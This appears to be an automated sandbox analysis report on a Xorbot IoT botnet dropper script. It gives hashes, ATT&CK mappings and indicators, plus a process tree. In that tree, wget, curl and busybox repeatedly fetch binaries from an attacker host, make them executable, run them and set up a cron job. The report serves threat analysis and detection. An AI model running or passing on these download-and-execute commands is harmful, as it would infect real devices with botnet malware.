xorbot | ff24efa277552a7d8467000eebecf294cb704b06c193571cb3e7254b0983d9d9

Analysis

max time kernel
149s
max time network
152s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/01/2025, 08:32

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General

Target
bins.sh
Size 10KB
Sample250102-ke97kstlex
SHA256 ff24efa277552a7d8467000eebecf294cb704b06c193571cb3e7254b0983d9d9
MD5 091a1ab979393bf8a8b613a6d96d55be
SHA1 5ae2907819bd26526137be448f3ebba0b41e7cb8
SHA512 530331ffa3fee4be925e190e6a47d4ca39940c49ad105d278a8e2eaa0bdf9450fe54eed467f071a8e034749323fd332f32e76172e5b84362ba67623afcfe1e90
SSDEEP 192:hxX/MZNLFt3OLrY5VESaZKbYQSafX/MZN2LrY5VBZ:hQFteLrY5VkKbYILrY5VH
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 8 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-13.dat	family_xorbot
behavioral4/files/fstream-15.dat	family_xorbot
behavioral4/files/fstream-17.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1507) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
735	chmod
811	chmod
853	chmod
877	chmod
885	chmod
748	chmod
834	chmod
842	chmod
861	chmod
869	chmod
893	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	736	GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	750	WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	813	WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	835	6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	843	fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
/tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub	854	AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
/tmp/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C	862	SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
/tmp/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur	870	iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
/tmp/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC	878	k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
/tmp/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY	886	lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
/tmp/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx	894	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx

Renames itself 1 IoCs

pid	Process
895	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.f7mHXj	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/928/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/930/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1026/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1028/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/110/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/330/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1008/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1050/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/924/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/982/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/983/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/997/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1016/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1049/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/75/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/682/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/943/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/989/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/999/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1034/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/968/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/4/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/979/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1020/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/5/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/8/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/900/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/912/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/963/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/965/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1037/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1051/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/929/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/987/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1004/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1043/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/231/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/946/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/976/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/990/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1015/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/909/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/919/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/995/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1003/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/118/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/16/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/920/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/973/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1005/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/913/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/927/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/955/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/986/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/921/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/1058/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/9/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/958/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
File opened for reading	/proc/959/cmdline	vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx

System Network Configuration Discovery 1 TTPs 36 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
838	wget
841	busybox
874	curl
850	curl
860	busybox
866	curl
711	wget
734	busybox
740	curl
833	busybox
890	curl
742	busybox
762	curl
783	busybox
873	wget
892	busybox
904	wget
818	wget
839	curl
865	wget
868	busybox
870	iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
882	curl
889	wget
731	curl
739	wget
831	curl
858	curl
884	busybox
754	wget
852	busybox
876	busybox
881	wget
846	wget
857	wget
872	rm

Writes file to tmp directory 33 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	wget
File opened for modification	/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	curl
File opened for modification	/tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub	curl
File opened for modification	/tmp/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY	wget
File opened for modification	/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	wget
File opened for modification	/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	curl
File opened for modification	/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	curl
File opened for modification	/tmp/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur	wget
File opened for modification	/tmp/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC	busybox
File opened for modification	/tmp/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx	wget
File opened for modification	/tmp/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx	curl
File opened for modification	/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	wget
File opened for modification	/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	busybox
File opened for modification	/tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub	busybox
File opened for modification	/tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh	busybox
File opened for modification	/tmp/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C	curl
File opened for modification	/tmp/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx	busybox
File opened for modification	/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	wget
File opened for modification	/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	wget
File opened for modification	/tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub	wget
File opened for modification	/tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl	busybox
File opened for modification	/tmp/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C	busybox
File opened for modification	/tmp/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC	curl
File opened for modification	/tmp/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur	curl
File opened for modification	/tmp/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur	busybox
File opened for modification	/tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro	curl
File opened for modification	/tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f	busybox
File opened for modification	/tmp/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C	wget
File opened for modification	/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	curl
File opened for modification	/tmp/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY	curl
File opened for modification	/tmp/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY	busybox
File opened for modification	/tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n	busybox
File opened for modification	/tmp/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:707
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  ./GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
  2⤵
  PID:738
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  ./WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm WVY2GazNcYNI3s4dIcRvXigaVaznamRzro
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:783
- /bin/chmod
  chmod 777 WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  ./WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm WhgI3d0Tay06T8tGHf90gedrujIWfE0v8f
  2⤵
  PID:816
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:833
- /bin/chmod
  chmod 777 6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  ./6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm 6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
  2⤵
  PID:837
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:838
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:839
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:841
- /bin/chmod
  chmod 777 fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - File and Directory Permissions Modification
  PID:842
- /tmp/fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  ./fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  - Executes dropped EXE
  PID:843
- /bin/rm
  rm fDFxgMndqcZwgOzrHFJYo48C4r7C8i8SQl
  2⤵
  PID:845
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:846
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  ./AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
  2⤵
  PID:856
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:860
- /bin/chmod
  chmod 777 SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
  ./SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm SRNwc9culkbWLCbbvqTnwSa2h2wZwOBs3C
  2⤵
  PID:864
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:865
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:868
- /bin/chmod
  chmod 777 iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
  ./iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:870
- /bin/rm
  rm iFJpXno1ECVltgdgv1kFN1fCc5iP4Apkur
  2⤵
  - System Network Configuration Discovery
  PID:872
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:873
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:876
- /bin/chmod
  chmod 777 k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
  2⤵
  - File and Directory Permissions Modification
  PID:877
- /tmp/k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
  ./k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
  2⤵
  - Executes dropped EXE
  PID:878
- /bin/rm
  rm k2yosjdBRHuCYpIwkFsYNiecubNOoGf7GC
  2⤵
  PID:880
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:881
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:884
- /bin/chmod
  chmod 777 lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
  ./lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm lbLBQexJxts4kdbMdMgfazdjs2EvYxqbdY
  2⤵
  PID:888
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:889
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/chmod
  chmod 777 vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
  ./vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:894
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:896
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:897
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:898
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:899
- /bin/rm
  rm vSAYbxRGKQDIDU3LESzwmcyZ4nuFC4tcXx
  2⤵
  PID:901
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/p45QAsbo6WDxq0tZpVNExQEmiV5OtwjicN
  2⤵
  - System Network Configuration Discovery
  PID:904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n

Path /tmp/6uvQq01vuXYcymjWWFl4dPC3wFlaOkra3n
Size 117KB
SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
MD5 849fa04ef88a8e8de32cb2e8538de5fe
SHA1 c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA512 2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
SSDEEP 3072:VozXHIisGFgyKB7xlBAUNFd4vm4QbZJmf35zPp:bGmyKBxl2U+vm4QbZJm/5zPp
MD5 SHA1 SHA512 SSDEEP

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AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub

Path /tmp/AvCstZrGiDu1Xfvku6RyygvRXkeA8N7Nub
Size 177KB
SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
MD5 786d75a158fe731feca3880f436082c0
SHA1 79ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA512 7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
SSDEEP 3072:PJtid2ng8w4YMrgUqqdaODUvI7UhTIyU2be6CXuVyZM/9h9XKvtZmmmLdwC7tuRD:BtiGGqaODUvI4hc2bvCXuVoM/9PXwPmK
MD5 SHA1 SHA512 SSDEEP

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GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh

Path /tmp/GKCPtZYAD282hOrf8LsnDv9GPO9uzVhHKh
Size 127KB
SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
MD5 89077b7bd4bcafca7713be43635c4862
SHA1 fc02edb8fba29ea8ee99e6157ef8560334530052
SHA512 1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
